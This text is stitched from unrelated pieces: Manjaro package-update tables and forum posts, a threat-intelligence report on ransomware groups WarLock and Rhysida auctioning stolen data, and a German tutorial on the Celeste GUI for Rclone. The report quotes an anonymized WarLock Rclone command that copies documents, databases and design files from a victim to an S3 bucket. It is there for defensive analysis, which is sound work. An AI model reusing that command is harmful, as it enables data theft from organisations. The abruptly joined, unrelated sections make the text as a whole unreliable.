                  firefox-i18n-en-us            147.0.1-1            147.0.2-1
                     firefox-i18n-eo            147.0.1-1            147.0.2-1
                  firefox-i18n-es-ar            147.0.1-1            147.0.2-1
                  firefox-i18n-es-cl            147.0.1-1            147.0.2-1
                  firefox-i18n-es-es            147.0.1-1            147.0.2-1
                  firefox-i18n-es-mx            147.0.1-1            147.0.2-1
                     firefox-i18n-et            147.0.1-1            147.0.2-1
                     firefox-i18n-eu            147.0.1-1            147.0.2-1
                     firefox-i18n-fa            147.0.1-1            147.0.2-1
                     firefox-i18n-ff            147.0.1-1            147.0.2-1
                     firefox-i18n-fi            147.0.1-1            147.0.2-1
                     firefox-i18n-fr            147.0.1-1            147.0.2-1
                    firefox-i18n-fur            147.0.1-1            147.0.2-1
                  firefox-i18n-fy-nl            147.0.1-1            147.0.2-1
                  firefox-i18n-ga-ie            147.0.1-1            147.0.2-1
                     firefox-i18n-gd            147.0.1-1            147.0.2-1
                     firefox-i18n-gl            147.0.1-1            147.0.2-1
                     firefox-i18n-gn            147.0.1-1            147.0.2-1
                  firefox-i18n-gu-in            147.0.1-1            147.0.2-1
                     firefox-i18n-he            147.0.1-1            147.0.2-1
                  firefox-i18n-hi-in            147.0.1-1            147.0.2-1
                     firefox-i18n-hr            147.0.1-1            147.0.2-1
                    firefox-i18n-hsb            147.0.1-1            147.0.2-1
                     firefox-i18n-hu            147.0.1-1            147.0.2-1
                  firefox-i18n-hy-am            147.0.1-1            147.0.2-1
                     firefox-i18n-ia            147.0.1-1            147.0.2-1
                     firefox-i18n-id            147.0.1-1            147.0.2-1
                     firefox-i18n-is            147.0.1-1            147.0.2-1
                     firefox-i18n-it            147.0.1-1            147.0.2-1
                     firefox-i18n-ja            147.0.1-1            147.0.2-1
                     firefox-i18n-ka            147.0.1-1            147.0.2-1
                    firefox-i18n-kab            147.0.1-1            147.0.2-1
                     firefox-i18n-kk            147.0.1-1            147.0.2-1
                     firefox-i18n-km            147.0.1-1            147.0.2-1
                     firefox-i18n-kn            147.0.1-1            147.0.2-1
                     firefox-i18n-ko            147.0.1-1            147.0.2-1
                    firefox-i18n-lij            147.0.1-1            147.0.2-1
                     firefox-i18n-lt            147.0.1-1            147.0.2-1
                     firefox-i18n-lv            147.0.1-1            147.0.2-1
                     firefox-i18n-mk            147.0.1-1            147.0.2-1
                     firefox-i18n-mr            147.0.1-1            147.0.2-1
                     firefox-i18n-ms            147.0.1-1            147.0.2-1
                     firefox-i18n-my            147.0.1-1            147.0.2-1
                  firefox-i18n-nb-no            147.0.1-1            147.0.2-1
                  firefox-i18n-ne-np            147.0.1-1            147.0.2-1
                     firefox-i18n-nl            147.0.1-1            147.0.2-1
                  firefox-i18n-nn-no            147.0.1-1            147.0.2-1
                     firefox-i18n-oc            147.0.1-1            147.0.2-1
                  firefox-i18n-pa-in            147.0.1-1            147.0.2-1
                     firefox-i18n-pl            147.0.1-1            147.0.2-1
                  firefox-i18n-pt-br            147.0.1-1            147.0.2-1
                  firefox-i18n-pt-pt            147.0.1-1            147.0.2-1
                     firefox-i18n-rm            147.0.1-1            147.0.2-1
                     firefox-i18n-ro            147.0.1-1            147.0.2-1
                     firefox-i18n-ru            147.0.1-1            147.0.2-1
                    firefox-i18n-sat            147.0.1-1            147.0.2-1
                     firefox-i18n-sc            147.0.1-1            147.0.2-1
                    firefox-i18n-sco            147.0.1-1            147.0.2-1
                     firefox-i18n-si            147.0.1-1            147.0.2-1
                     firefox-i18n-sk            147.0.1-1            147.0.2-1
                    firefox-i18n-skr            147.0.1-1            147.0.2-1
                     firefox-i18n-sl            147.0.1-1            147.0.2-1
                    firefox-i18n-son            147.0.1-1            147.0.2-1
                     firefox-i18n-sq            147.0.1-1            147.0.2-1
                     firefox-i18n-sr            147.0.1-1            147.0.2-1
                  firefox-i18n-sv-se            147.0.1-1            147.0.2-1
                    firefox-i18n-szl            147.0.1-1            147.0.2-1
                     firefox-i18n-ta            147.0.1-1            147.0.2-1
                     firefox-i18n-te            147.0.1-1            147.0.2-1
                     firefox-i18n-tg            147.0.1-1            147.0.2-1
                     firefox-i18n-th            147.0.1-1            147.0.2-1
                     firefox-i18n-tl            147.0.1-1            147.0.2-1
                     firefox-i18n-tr            147.0.1-1            147.0.2-1
                    firefox-i18n-trs            147.0.1-1            147.0.2-1
                     firefox-i18n-uk            147.0.1-1            147.0.2-1
                     firefox-i18n-ur            147.0.1-1            147.0.2-1
                     firefox-i18n-uz            147.0.1-1            147.0.2-1
                     firefox-i18n-vi            147.0.1-1            147.0.2-1
                     firefox-i18n-xh            147.0.1-1            147.0.2-1
                  firefox-i18n-zh-cn            147.0.1-1            147.0.2-1
                  firefox-i18n-zh-tw            147.0.1-1            147.0.2-1
                             forgejo             14.0.1-1             14.0.2-1
                             freerdp           2:3.21.0-1           2:3.22.0-1
                         fuse-common             3.17.4-1             3.18.1-1
                               fuse3             3.17.4-1             3.18.1-1
                          gemini-cli           1:0.25.2-1           1:0.26.0-1
                                giac           2.0.0.18-2           2.0.0.19-1
                              gio-qt             0.0.13-1             0.0.14-1
                                glab             1.81.0-1             1.82.0-1
                      gnome-mahjongg             49.0.1-1             49.1.1-1
                          gnome-maps               49.3-1               49.4-1
                               gsoap            2.8.139-1            2.8.140-1
                             haproxy              3.3.1-1              3.3.2-1
                    haskell-cracknum               3.5-57               3.5-58
                    haskell-fourmolu           0.12.0.0-8           0.13.0.0-1
         haskell-hls-fourmolu-plugin            2.2.0.0-5            2.2.0.0-6
             haskell-language-server            2.2.0.0-6            2.2.0.0-7
                         haskell-sbv              10.2-74               10.3-1
                              hcloud             1.60.0-1             1.61.0-1
                             htmldoc             1.9.22-1             1.9.23-1
                           hyprpaper              0.8.2-1              0.8.3-1
                           ibus-rime              1.5.1-1              1.6.0-1
                 ibus-typing-booster             2.30.0-1             2.30.2-1
                            incus-ui             0.19.2-1             0.19.3-1
                   jupyter-nbconvert             7.16.6-2             7.17.0-1
                              kaidan             0.14.0-1             0.14.0-2
                                 kio             6.22.0-1             6.22.1-1
                              kmscon              9.3.0-2              9.3.0-3
                     lib32-rust-libs           1:1.92.0-1           1:1.93.0-1
                          libchewing             0.10.3-1             0.11.0-1
                               libhx                5.0-1                5.1-1
                  libpackagekit-glib              1.3.3-2              1.3.4-1
                         libpg_query           17.6.2.1-1           17.6.2.2-1
                      libphonenumber           1:9.0.22-1           1:9.0.23-1
                             librime           1:1.16.0-1           1:1.16.1-1
                          libshumate              1.5.2-1              1.5.3-1
                     libshumate-docs              1.5.2-1              1.5.3-1
                         libspelling              0.4.9-2             0.4.10-1
                    libspelling-docs              0.4.9-2             0.4.10-1
                              libtsm              4.4.1-1              4.4.2-1
                 libva-nvidia-driver             0.0.14-1             0.0.15-1
                              libxmu              1.3.0-1              1.3.1-1
                  linux-apfs-rw-dkms           1:0.3.17-1           1:0.3.18-1
                         lxqt-config              2.3.0-1              2.3.1-1
                                mame              0.284-1              0.285-1
                          mame-tools              0.284-1              0.285-1
                     man-pages-zh_cn            1.6.4.0-3            1.6.4.0-4
                     man-pages-zh_tw            1.6.4.0-3            1.6.4.0-4
       matrix-authentication-service              1.9.0-1             1.10.0-1
                              md-tui              0.9.1-1              0.9.3-1
                           mercurial              7.1.2-2                7.2-1
               netfilter-fullconenat      r73.0cf3b48-494      r73.0cf3b48-495
                  nextcloud-app-mail              5.6.8-1              5.6.9-1
                               nvtop              3.2.0-1              3.3.1-1
                   open-policy-agent             1.12.3-1             1.13.1-1
                        openai-codex             0.87.0-1             0.91.0-1
                         openimageio            3.1.8.0-3            3.1.9.0-1
                 openshadinglanguage           1.14.8.0-2           1.15.0.0-1
                             openttd               15.0-2               15.1-1
                                 orc             0.4.41-1             0.4.42-1
                          packagekit              1.3.3-2              1.3.4-1
                                 pcp              7.0.5-2              7.1.0-1
                             pcp-gui              7.0.5-2              7.1.0-1
                   pcp-pmda-activemq              7.0.5-2              7.1.0-1
                        pcp-pmda-bcc              7.0.5-2              7.1.0-1
                      pcp-pmda-bind2              7.0.5-2              7.1.0-1
                   pcp-pmda-bpftrace              7.0.5-2              7.1.0-1
                       pcp-pmda-json              7.0.5-2              7.1.0-1
                    pcp-pmda-libvirt              7.0.5-2              7.1.0-1
                      pcp-pmda-mysql              7.0.5-2              7.1.0-1
                      pcp-pmda-nginx              7.0.5-2              7.1.0-1
                 pcp-pmda-nutcracker              7.0.5-2              7.1.0-1
                pcp-pmda-openmetrics              7.0.5-2              7.1.0-1
                     pcp-pmda-podman              7.0.5-2              7.1.0-1
                 pcp-pmda-postgresql              7.0.5-2              7.1.0-1
                       pcp-pmda-snmp              7.0.5-2              7.1.0-1
                    perl-authen-sasl             2.1900-3             2.2000-1
                     perl-net-server              2.015-1              2.016-1
                         perl-rename               1.16-3               1.16-4
                                piep             0.10.0-5             0.10.0-6
                        prusa-slicer              2.9.4-4              2.9.4-5
                         python-absl              2.3.1-2              2.4.0-1
                python-aioesphomeapi            43.12.0-1            43.14.0-1
                 python-bibtexparser              1.4.3-3              1.4.4-1
                      python-confuse              2.1.0-2              2.2.0-1
                         python-cuda             13.1.1-2             13.1.1-3
                python-cuda-bindings             13.1.1-2             13.1.1-3
                    python-cuda-core             13.1.1-2            1:0.5.1-1
              python-cuda-pathfinder             13.1.1-2            1:1.3.3-1
                      python-debugpy             1.8.19-2             1.8.20-1
                       python-gitlab              7.1.0-2              8.0.0-1
              python-huggingface-hub            1:1.3.4-1            1:1.3.5-1
                        python-janus              1.1.0-4              1.2.0-1
                       python-libvcs             0.37.0-2             0.38.6-1
                   python-numba-cuda             0.24.0-4             0.25.0-1
                         python-path            16.12.0-1            16.12.1-1
                      python-pikepdf             10.2.0-1             10.3.0-1
                   python-playwright             1.57.0-2             1.58.0-1
                        python-pooch              1.8.2-5              1.9.0-1
                     python-pynetbox              7.6.0-1              7.6.1-1
                     python-pytokens              0.4.0-1              0.4.1-1
                       python-pytube             15.0.0-5             15.0.0-6
                   python-rich-click              1.9.5-1              1.9.6-1
                     python-tifffile          2026.1.14-1          2026.1.28-1
                           python-uv             0.9.27-1             0.9.28-1
                     python-uv-build             0.9.27-1             0.9.28-1
                        qalculate-qt              5.9.0-1            5.9.0.1-1
                       qmltermwidget         0.2.0.git1-1         2.0.0.git1-1
                                 qsv             14.0.0-1             15.0.0-1
                               qxmpp             1.13.0-1             1.14.0-1
                              rclone             1.72.1-1             1.73.0-1
                   rebels-in-the-sky              1.5.6-1              1.5.7-1
                                rust           1:1.92.0-1           1:1.93.0-1
                    rust-aarch64-gnu           1:1.92.0-1           1:1.93.0-1
                   rust-aarch64-musl           1:1.92.0-1           1:1.93.0-1
                           rust-musl           1:1.92.0-1           1:1.93.0-1
                            rust-src           1:1.92.0-1           1:1.93.0-1
                           rust-wasm           1:1.92.0-1           1:1.93.0-1
                                 sbt           1:1.12.0-1           1:1.12.1-1
                      signal-desktop             7.86.0-1             7.87.0-1
                                skim             1.11.0-1             1.11.2-1
                         slicer-udev              2.9.4-4              2.9.4-5
                        sof-firmware          2025.12.1-1          2025.12.2-1
                           sof-tools          2025.12.1-1          2025.12.2-1
                             swayosd              0.2.1-2              0.3.0-1
                       systemctl-tui              0.4.1-1              0.5.1-1
                            teamtype              0.9.0-2              0.9.1-1
                            thermald           1:2.5.10-1           2:2.5.11-1
                         timescaledb             2.24.0-1             2.25.0-1
             timescaledb-old-upgrade             2.24.0-1             2.25.0-1
                                 tor           0.4.8.21-1           0.4.8.22-1
                                 usd              25.11-3              25.11-4
                                  uv             0.9.27-1             0.9.28-1
                    vhba-module-dkms          20250329-61          20250329-62
                          virtualbox              7.2.4-2              7.2.6-1
                  virtualbox-ext-vnc              7.2.4-2              7.2.6-1
                virtualbox-guest-iso              7.2.4-1              7.2.6-1
              virtualbox-guest-utils              7.2.4-2              7.2.6-1
          virtualbox-guest-utils-nox              7.2.4-2              7.2.6-1
                virtualbox-host-dkms              7.2.4-2              7.2.6-1
                      virtualbox-sdk              7.2.4-2              7.2.6-1
               vivaldi-ffmpeg-codecs     142.0.7444.267-1     144.0.7559.114-1
                              wasmer              6.1.0-2              7.0.0-1
                              wimlib             1.14.4-2             1.14.5-1
                             wiremix              0.8.0-1              0.9.0-1
                                  wt             4.12.1-3             4.12.2-1
           xdg-desktop-portal-cosmic            1:1.0.3-1            1:1.0.4-1
                              yt-dlp         2025.12.08-2         2026.01.29-1
                          yt-dlp-ejs              0.3.2-2              0.4.0-1
                                 zed            0.220.7-1            0.221.5-1
                              zenith             0.14.1-1             0.14.3-1
                            orc-docs                    -             0.4.42-1
                           wdisplays                    -              1.1.3-1


:: Different overlay package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20260128             20260131
-------------------------------------------------------------------------------
                lib32-gamescope-plus      3.15.13.plus1-2                    -


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20260128             20260131
-------------------------------------------------------------------------------
                          lib32-curl             8.18.0-3             8.18.0-4
                lib32-libcurl-compat             8.18.0-3             8.18.0-4
                lib32-libcurl-gnutls             8.18.0-3             8.18.0-4
                        lib32-libxmu              1.2.1-1              1.3.1-1
                           lib32-orc             0.4.41-1             0.4.42-1
                     lib32-procps-ng              4.0.5-1              4.0.6-1

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

2 posts - 2 participants

Read full topic

In 2025, contemporary groups such as WarLock and Rhysida have embraced similar tactics, further normalizing data auctions as part of their extortion strategies. By opening additional profit streams and attracting more participants, these actors are amplifying both the frequency and impact of ransomware operations. The rise of data auctions reflects a maturing underground economy, one that mirrors legitimate market behavior, yet drives the continued expansion and professionalization of global ransomware activity.

Anatomy of victim data auctions 

Most modern ransomware groups employ double extortion tactics, exfiltrating data from a victim’s network before deploying encryption. Afterward, they publicly claim responsibility for the attack and threaten to release the stolen data unless their ransom demand is met. This dual-pressure technique significantly increases the likelihood of payment.

In recent years, data-only extortion campaigns, in which actors forgo encryption altogether, have risen sharply. In fact, such incidents doubled in 2025, highlighting how the threat of data exposure alone has become an effective extortion lever. Most ransomware operations, however, continue to use encryption as part of their attack chain.

Certain ransomware groups have advanced this strategy by introducing data auctions when ransom negotiations with victims fail. In these cases, threat actors invite potential buyers, such as competitors or other interested parties, to bid on the stolen data, often claiming it will be sold exclusively to a single purchaser. In some instances, groups have been observed selling partial datasets, likely adjusted to a buyer’s specific budget or area of interest, while any unsold data is typically published on dark web leak sites.

This process is illustrated in Figure 1, under the assumption that the threat actor adheres to their stated claims. However, in practice, there is no guarantee that the stolen data will remain undisclosed, even if the ransom is paid. This highlights the inherent unreliability of negotiating with cybercriminals.

⠀

⠀

This auction model provides an additional revenue stream, enabling ransomware groups to profit from exfiltrated data even when victims refuse to pay. It should be noted, however, that such auctions are often reserved for high-profile incidents. In these cases, the threat actors exploit the publicity surrounding attacks on prominent organizations to draw attention, attract potential buyers, and justify higher starting bids.

This trend is likely driven by the fragmentation of the ransomware ecosystem following the recent disruption of prominent threat actors, including 8Base and BlackSuit. This shift in cybercrime dynamics is compelling smaller, more agile groups to aggressively compete for visibility and profit through auctions and private sales to maintain financial viability. The emergence of the Crimson Collective in October 2025 exemplified this dynamic when the group auctioned stolen datasets to the highest bidder. Although short-lived, this incident served as a proof of concept (PoC) for the growing viability of monetizing data exfiltration independently of traditional ransom schemes.

Threat actor spotlight

WarLock

The WarLock ransomware group has been active since at least June 2025. The group targets organizations across North America, Europe, Asia, and Africa, spanning sectors from technology to critical infrastructure. Since its emergence, WarLock has rapidly gained prominence for its repeated exploitation of vulnerable Microsoft SharePoint servers, leveraging newly disclosed vulnerabilities to gain initial access to targeted systems.

The group adopts double extortion tactics, exfiltrating data from the victim’s systems before deploying its ransomware variant. From a recent incident Rapid7 responded to, we observed the threat actor exfiltrating the data from a victim to an S3 bucket using the tool Rclone. An anonymized version of the command used by the threat actor can be found below:

Rclone.exe copy \\localdirectory :s3 -P --include "*.{pdf,ai,dwg,dxf,dwt,doc,docx,dwg,dwt,dws,shx,pat,lin,ctb,dxf,dwf,step,stl,dst,dxb,,stp,ipt,prt,iges,obj,xlsx,mdf,sql,doc,xls,sql,bak,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}" -q --ignore-existing --auto-confirm --multi-thread-streams 11 --transfers 11 --max-age 500d --max-size 2000m

WarLock operates a dedicated leak site (DLS) on the dark web, where it lists its victims. From the outset of its operations, the group has auctioned stolen data, publishing only the unsold information online (Figure 2). The group further mentions that the exfiltrated data may be sold to third parties if the victim refuses to pay in their ransom note (Figure 3).

⠀

⠀

⠀

Although WarLock shares updates on the progress and results of these auctions through its DLS, it also relies heavily on its presence on the RAMP4 cybercrime forum to attract potential buyers (Figure 4). This approach likely allows WarLock to reach a wider buyer base by publishing these posts under the relevant thread “Auction \ 拍卖会”. It should be noted that WarLock is assessed to be of Chinese origin, which is further supported by the Chinese-language reference in this thread title.

⠀

⠀

Using the alias “cnkjasdfgd,” the group advertises details about the nature and volume of exfiltrated data, along with sample files (Figure 5). WarLock further directs interested buyers to its Tox account, a peer-to-peer encrypted messaging and video-calling platform, where the auctions appear to take place.

⠀

⠀

This approach appears to be highly effective for WarLock. Despite being a recent entrant to the ransomware ecosystem, the group has reportedly sold victim data in approximately 55% of its claimed attacks, accounting for 55 victims to date as of November 2025, demonstrating significant traction within underground markets. The remaining victims’ data has been publicly released on the group’s DLS, following unsuccessful ransom negotiations and a lack of interested buyers.

Rhysida

The Rhysida ransomware group was first identified by cybersecurity researchers in May 2023. The group primarily targets Windows operating systems across both public and private organizations in sectors such as government, defense, education, and manufacturing. Its operations have been observed in several countries, including the United Kingdom, Switzerland, Australia, and Chile. The threat actors portray themselves as a so-called “cybersecurity team” that assists organizations in securing their networks by exposing system vulnerabilities.

Rhysida maintains an active DLS, where it publishes data belonging to victims who refuse to pay the ransom, in alignment with double extortion tactics. Since at least June 2023, the group has also conducted data auctions via a dedicated “Auctions Online” section of its DLS. These auctions typically run for seven days, and Rhysida claims that each dataset is sold exclusively to a single buyer. As of mid-October 2025, the group was hosting five ongoing auctions, with starting prices ranging from 5 to 10 Bitcoin (Figure 6).

⠀

⠀

Once the auction period ends, Rhysida publicly releases any unsold data on its DLS (Figure 7). Instead, if the auction is successful, the data is marked as “sold”, without being released on the group’s DLS (Figure 8). In many cases, the group publishes only a subset of the stolen data, often accompanied by the note “not sold data was published” (Figure 9).

⠀

⠀

⠀

⠀

With 224 claimed attacks to date as of November 2025, approximately 67% resulting in full or partial data sales, auctions represent a significant additional revenue stream for Rhysida. The group’s auction model appears to be considerably more effective than WarLock’s (Figure 10), likely due to Rhysida’s established reputation within the cybercrime ecosystem and its involvement in several high-profile attacks.

⠀

Conclusion

The cyber extortion ecosystem is undergoing a profound transformation, shifting from traditional ransom payments to a diversified, market-driven model centered on data auctions and direct sales. This evolution marks a turning point in how ransomware groups generate revenue, transforming what were once isolated extortion incidents into structured commercial transactions.

Groups such as WarLock and Rhysida exemplify this shift, illustrating how ransomware operations increasingly mirror illicit e-commerce ecosystems. By auctioning exfiltrated data, these actors not only create additional revenue streams but also reduce their dependence on ransom compliance, monetizing stolen data even when victims refuse to pay. This approach has proven particularly lucrative for these threat actors, likely setting a precedent for newer extortion groups eager to replicate their success.

As a result, proprietary and sensitive data, including personally identifiable and financial information, is flooding dark web marketplaces at an unprecedented pace. This expanding secondary market intensifies both the operational and reputational risks faced by affected organizations, extending the impact of an attack well beyond its initial compromise.

To adapt to this evolving threat landscape, organizations must move beyond reactive crisis management and embrace a proactive, intelligence-driven defense strategy. Continuous dark web monitoring, early breach detection, and the integration of cyber threat intelligence into response workflows are now essential. In a world where stolen data functions as a tradable commodity, resilience depends not on negotiation but on vigilance, preparedness, and rapid action.

Für Profis gibt es seit gut zehn Jahren das Programm Rclone, das per Script Daten und Verzeichnisse zwischen dem lokalen Computer und einer Vielzahl von Cloudservices synchronisiert.

Es arbeitet sehr zuverlässig, lässt sich aber nur im Terminal bedienen und erfordert eine gewisse Einarbeitung, bis die gewünschten Verzeichnisse wunschgemäß zwischen der lokalen Festplatte und dem Cloudspeicher der Wahl synchronisiert werden. Mit Celeste wird es einfacher.

Installation von Celeste

Der Entwickler Hunter Wittenborn bietet mit seinem Programm Celeste eine Arbeitserleichterung für Cloudbackups an. Celeste kommt mit einer grafischen Oberfläche, über die Sie alle notwendigen Einstellungen vornehmen können.

Technisch setzt Celeste auf Rclone auf, ist also ein grafisches Frontend für Rclone. Aktuell hat es bereits die wichtigsten Clouddienste wie Google Drive, Dropbox, Proton Drive oder pCloud integriert. Weitere sollen laut Entwickler schrittweise folgen.

In der Zwischenzeit können Sie bei Bedarf auch auf Webdav zurückgreifen, welches auch bereits in Celeste integriert wurde.

Wir zeigen in diesem Workshop, wie Sie Celeste für Ihren Clouddienst konfigurieren und Ihre Daten automatisiert im Hintergrund synchronisieren.

Für die Installation von Celeste stehen Ihnen verschiedene Wege zur Verfügung. Der Entwickler bietet das aktuelle Paket als Flatpak über Flathub und als Snap über den Ubuntu Snapstore.

Als Snap installieren Sie Celeste mit diesem Kommando:

sudo snap install celeste

Eine deutsche Übersetzung von Celeste ist bereits vorhanden, allerdings scheint es an dieser Stelle beim einen oder anderen Menü noch ein paar Probleme zu geben.

Grundsätzlich ist die Oberfläche jedoch einfach gehalten und weitgehend selbsterklärend.

Anbindung von Cloudspeicher-Diensten

Foundry

Haben Sie noch keine Cloudspeicher eingebunden, sehen Sie beim Aufruf von Celeste erst einmal nur ein kleines Log-in-Fenster, bei dem Sie den „Server Type“ auswählen und den Namen festlegen können.

Im Auswahlfeld sehen Sie, welche Dienste und Protokolle aktuell innerhalb von Celeste zur Verfügung stehen. Im Feld „Name“ wird nicht Ihr Log-in-Name bei der Cloud erwartet, sondern ein beliebig wählbarer Bezeichner, unter dem Sie die Anbindung später in der Übersicht finden.

Wir haben zunächst eine Verbindung zum Clouddienst Dropbox ausprobiert. Hierfür sind lediglich Ihre E-Mail-Adresse sowie das zugehörige Passwort notwendig. Diese geben Sie in das Browserfenster ein, das automatisch durch Celeste geöffnet wird, nachdem Sie den ersten Schritt der Einrichtung erledigt haben.

Zum Abschluss der Einrichtung geben Sie noch den Zugriff von Celeste auf Dropbox frei und danach steht diese Verbindung für Celeste zur Verfügung.

Nun beginnt die eigentliche Einrichtung der Synchronisation. Diese ist regelbasiert, allerdings steht aktuell lediglich die Option des bidirektionalen Abgleichs zur Verfügung.

Wird eine Datei in der Cloud verändert, überträgt Celeste diese automatisch auf dem lokalen System und überschreibt die aktuelle Version.

Haben Sie zwischen zwei Synchronisationspunkten sowohl die lokale als auch die in der Cloud gespeicherte Datei verändert, fragt Celeste nach, welche Version Sie behalten möchten.

Foundry

Für die Synchronisation hinterlegen Sie im Feld „Local Folder“ das Verzeichnis auf Ihrem System, das Sie synchronisieren möchten. Am einfachsten nutzen Sie das Ordner-Symbol, um das Verzeichnis per Mausklicks auszuwählen.

Den Zielordner geben Sie in das Feld „Remote Folder“ ein – dieser muss in jedem Fall vorhanden sein, da Celeste ihn bei der ersten Synchronisation nicht anlegen kann. Sollten Sie lediglich „/“ angeben, werden alle Dateien ins root-Verzeichnis Ihres Clouddienstes synchronisiert.

Nachdem Sie die Verknüpfung angelegt haben, beginnt Celeste sofort mit der Arbeit und gleicht die beiden Ordner miteinander ab. Falls Sie nicht alle Dateien oder Dateitypen in die Synchronisation einbeziehen möchten, gibt es die Möglichkeit, Ausschlussregeln zu definieren.

Dazu klicken Sie die entsprechende Synchronisationsregel an und landen automatisch in der Übersicht „File/Folder Exclusions“. An dieser Stelle geben Sie die Dateien oder Unterverzeichnisse an, die Celeste nicht abgleichen soll.

Das Tool ermöglicht es Ihnen, nicht nur ein Verzeichnis pro Dienst zu synchronisieren, sondern mehrere Regeln festzulegen.

Dies macht beispielsweise dann Sinn, wenn Sie Dokumente und Bilder in unterschiedlichen Verzeichnissen auf Ihrem Computer festgelegt haben. Nutzen Sie am besten einen sprechenden Namen für die jeweilige Regel, damit Sie diese im weiteren Verlauf auseinanderhalten können.

Verbindung per Webdav

Da die aktuelle Anzahl der Cloudspeicher noch überschaubar ist, hat der Entwickler in seine Anwendung zusätzlich das Webdav-Protokoll integriert. Dieses erlaubt es Ihnen, mit Hilfe des Netzwerkprotokolls Daten übers LAN oder das Internet zu synchronisieren.

Unterstützt der Cloudspeicher-Anbieter dieses Protokoll, müssen Sie lediglich den Webdav-Servernamen sowie den zugehörigen Benutzer und das Passwort eingeben. Danach beginnt Celeste mit der Synchronisation der Verzeichnisse.

Auch bei dieser Methode gibt es analog zu den klassischen Webspeichern wieder die Möglichkeit, Dateien oder Verzeichnisse von der Synchronisation auszuschließen.

Foundry

Celeste unterstützt auch die Anbindung zu einer persönlichen Nextcloud oder Owncloud. Für den Zugriff auf diese Serverdienste ist die Adresse des Servers sowie ein zugehöriger Benutzer samt Passwort notwendig.

Dabei spielt es keine Rolle, ob sich der Server in Ihrem lokalen Netzwerk befindet oder Sie diesen als eigenen Internet-Cloudspeicher betreiben. Der Server muss lediglich aus dem Netzwerk erreichbar sein, in welchem sich der Rechner mit Celeste befindet.

Datensicherung kann so einfach sein Gute Gründe für Cloudbackups gibt es mehrere: Nicht nur die Datensicherung kann ein Motiv sein, sondern auch die Tatsache, dass die Daten dann auch für andere Geräte oder Nutzer im Internet erreichbar sind.

Durch die Verwendung von Rclone setzt Celeste auf einer stabilen Basis auf, bietet aber zusätzlichen Komfort: Sie können auf die Nutzung des Terminals verzichten und Ihre Verbindungen bequem über die grafische Oberfläche einpflegen und warten.

Hello community, here we have another set of package updates.

Current Promotions

• Find out all about our current Gaming Laptop the Hero with Manjaro pre-installed from Spain!
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Development | Q&A | Zotac Gaming ZONE
• Development | Q&A | OrangePi Neo-01
• Manjaro 25.0 Zetar released
• Manjaro Summit public Alpha now available
• As of Linux 6.14.11, the 6.14 series is now EOL (End Of Life). Please install 6.15 stable and/or 6.12 LTS (Long Term Support).

Notable Package Updates

• Some Kernels got updated
  • linux614 got dropped from the repos
• Mesa 25.1.4
• Steam 1.0.0.83
• OpenGamepadUI 0.40.0
• Powerstation 0.6.1
• Inputplumber 0.58.7
• ZFS 2.3.3

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux54 5.4.295
• linux510 5.10.237
• linux515 5.15.185
• linux61 6.1.141
• linux66 6.6.93
• linux612 6.12.33
• linux615 6.15.2
• linux616 6.16.0-rc2
• linux61-rt 6.1.134_rt51
• linux66-rt 6.6.87_rt54
• linux612-rt 6.12.28_rt10
• linux613-rt 6.13_rt5
• linux614-rt 6.14.0_rt3
• linux615-rt 6.15.0_rt2

Package Changes (Fri Jun 20 09:13:26 CEST 2025)

• testing core x86_64: 13 new and 15 removed package(s)
• testing extra x86_64: 140 new and 152 removed package(s)
• testing multilib x86_64: 13 new and 13 removed package(s)

:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20250619             20250620
-------------------------------------------------------------------------------
                  linux-headers-meta               6.14-1               6.15-1
                          linux-meta               6.14-1               6.15-1
                          linux61-rt       6.1.134_rt51-2       6.1.141_rt52-1
                  linux61-rt-headers       6.1.134_rt51-2       6.1.141_rt52-1
                            linux612            6.12.33-1            6.12.34-1
                    linux612-headers            6.12.33-1            6.12.34-1
                            linux614            6.14.11-1                    -
                    linux614-headers            6.14.11-1                    -
                            linux615             6.15.2-2             6.15.3-1
                    linux615-headers             6.15.2-2             6.15.3-1
                             linux66             6.6.93-1             6.6.94-1
                     linux66-headers             6.6.93-1             6.6.94-1
                          linux66-rt        6.6.87_rt54-2        6.6.93_rt55-1
                  linux66-rt-headers        6.6.87_rt54-2        6.6.93_rt55-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20250619             20250620
-------------------------------------------------------------------------------
                          libnghttp2             1.65.0-1             1.66.0-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20250619             20250620
-------------------------------------------------------------------------------
                    inputplumber-git 0.58.6.r1.g6927752-1 0.58.7.r0.g33fb129-1
                linux-acpi_call-meta               6.14-1               6.15-1
                 linux-bbswitch-meta               6.14-1               6.15-1
              linux-broadcom-wl-meta               6.14-1               6.15-1
             linux-nvidia-390xx-meta               6.14-1               6.15-1
             linux-nvidia-470xx-meta               6.14-1               6.15-1
                   linux-nvidia-meta               6.14-1               6.15-1
              linux-nvidia-open-meta               6.14-1               6.15-1
                    linux-r8168-meta               6.14-1               6.15-1
                linux-rtl8723bu-meta               6.14-1               6.15-1
                 linux-tp_smapi-meta               6.14-1               6.15-1
              linux-vhba-module-meta               6.14-1               6.15-1
  linux-virtualbox-host-modules-meta               6.14-1               6.15-1
                      linux-zfs-meta               6.14-1               6.15-1
                        linux510-zfs              2.3.2-1              2.3.3-1
                        linux515-zfs              2.3.2-5              2.3.3-1
                         linux54-zfs              2.3.2-2              2.3.3-1
                linux61-rt-acpi_call             1.2.2-45             1.2.2-46
                 linux61-rt-bbswitch               0.8-44               0.8-45
              linux61-rt-broadcom-wl      6.30.223.271-44      6.30.223.271-45
             linux61-rt-nvidia-390xx           390.157-44           390.157-45
             linux61-rt-nvidia-470xx        470.256.02-23        470.256.02-24
                   linux61-rt-nvidia             575.64-1             575.64-2
              linux61-rt-nvidia-open             575.64-1             575.64-2
                    linux61-rt-r8168           8.055.00-6           8.055.00-7
                linux61-rt-rtl8723bu          20240303-27          20240303-28
                 linux61-rt-tp_smapi              0.44-38              0.44-39
              linux61-rt-vhba-module           20250329-3           20250329-4
